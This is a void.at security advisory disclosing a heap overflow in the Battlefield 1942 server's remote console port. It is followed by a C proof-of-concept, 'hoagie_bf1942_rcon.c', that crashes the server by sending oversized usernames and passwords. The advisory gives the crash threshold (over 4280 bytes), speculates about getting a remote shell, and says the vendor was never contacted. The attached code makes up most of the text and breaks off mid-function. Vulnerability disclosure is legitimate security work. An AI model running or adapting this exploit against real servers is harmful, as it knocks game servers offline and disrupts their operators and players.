-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [void.at Security Advisory VSA0307] Battlefield 1942 is a game (c) by Electronic Arts[1]. Overview ======== By sending a specially crafted packet to the bf1942-server remote administration port, an attacker can cause the server to crash. It *could* even be possible to remotely exploit this vulnerability to gain a remote shell (see "Details" for details) Affected Versions ================= The current version is 1.2, and it is vulnerable. Impact ====== Medium. The remote server simply crashes. Details ======= Battlefield 1942 can be configured to listen to a tcp-port (default: 4711) and accept connections to remotely enter commands or change server variables. A command line utility to do that comes with bf1942 ("RemoteConsole.exe"), and there exists at least one GUI that uses the same protocol. The session starts by connecting to the rcon-port. The server responds with an XOR-key that is used to send the username and the password (although we don't need that here). The login credentials get submitted in the following way: (byte) Length of Username (szstring) Username (byte) Length of Password (szstring) Password Heh, I'm sure you've guessed it, you can overwrite the heap by sending especially long usernames and/or passwords. Now the interesting part: it is possible to overwrite control information on the heap (like that famous malloc/free-bugs). The problem is, that the chunk that receives the username is the last chunk in the chain, so there is no following control block that could be overwritten to exploit a free-vulnerability. This is the reason I am not able to supply an exploit for this. The thing is, after that block are pointers to the double- linked ring-list that holds the free blocks. It *is* possible to overwrite them, but I didn't find a way to exploit that, other than to remotely DoS the server. Perhaps someone more skilled (and with more time) can do that (plz let me know *g*) Length of username > 4280 crashes the server. Solution ======== Disable that remote administration thing until a patch comes out. Exploit ======= I've attached a demonstration exploit. And YES I really wanted to contact the vendors about that problem, but I gave up after straying around on the EA.com website for 15 min. searching for a simple mail address (not to mention requesting a public key...). Discovered by ============= greuff Credits ======= void.at ^sq, G7 and thokky for giving me links to papers References ========== [1] http://www.ea.com - ------------------------------------------------------------------ /***************************************************************** * hoagie_bf1942_rcon.c * * Remote-DoS for Battlefield 1942-Servers that have their * rcon-port activated (4711/tcp by default) * * Author: greuff@void.at * * Tested on BF-Server 1.2 on win32 * * Credits: * void.at * ^sq, G7 and thokky * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT. * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM. * *****************************************************************/ #include #include #include #include #include #include #include #include #include #include int bf1942_rcon_connect(char *servername, int serverport, char *user, char *pass, int *s); int bf1942_rcon_command(int sock, char *command, char *outbuf, int buflen); int main(int argc, char **argv) { int sock, rval=0; char *user, *pass; int anz=5000/*4280*//*4272*//*4200*/; if(argc!=3) { printf("Usage: %s servername serverport\n\n",argv[0]); return EX_USAGE; } user=malloc(anz+1); pass=malloc(anz+1); memset(user,0,anz+1); memset(user,'A',anz); memset(pass,0,anz+1); memset(pass,'B',anz); do { rval=bf1942_rcon_connect(argv[1],strtol(argv[2],NULL,10),user,pass,&sock); if(rval==-1) { printf("Authentication failed. user=%s pass=%s\n",user,pass); user[1]++; close(sock); } else if(rval>0) { printf("Error: %s\n",strerror(rval)); return -1; } } while(0); return 0; } /* open a session to a bf1942-server (Rcon) * * WARNING this is a minimalist's version of the real rcon-authentication * (XOR's skipped) * * in: servername, serverport, username, pass * out: bei Erfolg: 0, serversocket in *sock * bei Fehler: -1 = autherror, errno otherwise */ int bf1942_rcon_connect(char *servername, int serverport, char *user, char *pass, int *s) { int sock, i, rval; struct hostent *hp; struct sockaddr_in inaddr; unsigned long l; char xorkey[10], buf[20]; if((sock=socket(AF_INET,SOCK_STREAM,0))<0) return errno; if((hp=gethostbyname(servername))<0) return errno; inaddr.sin_family=AF_INET; inaddr.sin_port=htons(serverport); memcpy(&inaddr.sin_addr,*(hp->h_addr_list),sizeof(struct in_addr)); if(connect(sock,(struct sockaddr *)&inaddr,sizeof(struct sockaddr))<0) return errno; // connection established. The first thing the server should // send is the XOR-Key for transmitting the username and the // password. if((i=read(sock,xorkey,10))<0) return errno; // send the username and the password... l=strlen(user)+1; if(write(sock,&l,sizeof(long))<0) return errno; if(write(sock,user,strlen(user)+1)<0) return errno; l=strlen(pass)+1; if(write(sock,&l,sizeof(long))<0) return errno; if(write(sock,pass,strlen(pass)+1)<0) return errno; if(read(sock,buf,20)<0) return errno; if(buf[0]==0x01) { rval=0; // auth-ok, connection established *s=sock; } else rval=-1; // auth-error return rval; } /* sends the command to the server * return: 0=OK, * !0 = errno */ int bf1942_rcon_command(int sock, char *command, char *outbuf, int buflen) { int i; char blabla[]="ConsoleMessage 0"; char *outbufpos=outbuf; unsigned long l, anzfelder; l=2; if(write(sock,&l,sizeof(long))<0) return errno; l=strlen(blabla)+1; if(write(sock,&l,sizeof(long))<0) return errno; if(write(sock,blabla,strlen(blabla)+1)<0) return errno; l=strlen(command)+1; if(write(sock,&l,sizeof(long))<0) return errno; if(write(sock,command,strlen(command)+1)<0) return errno; if(read(sock,&anzfelder,sizeof(long))<0) return errno; for(i=0;i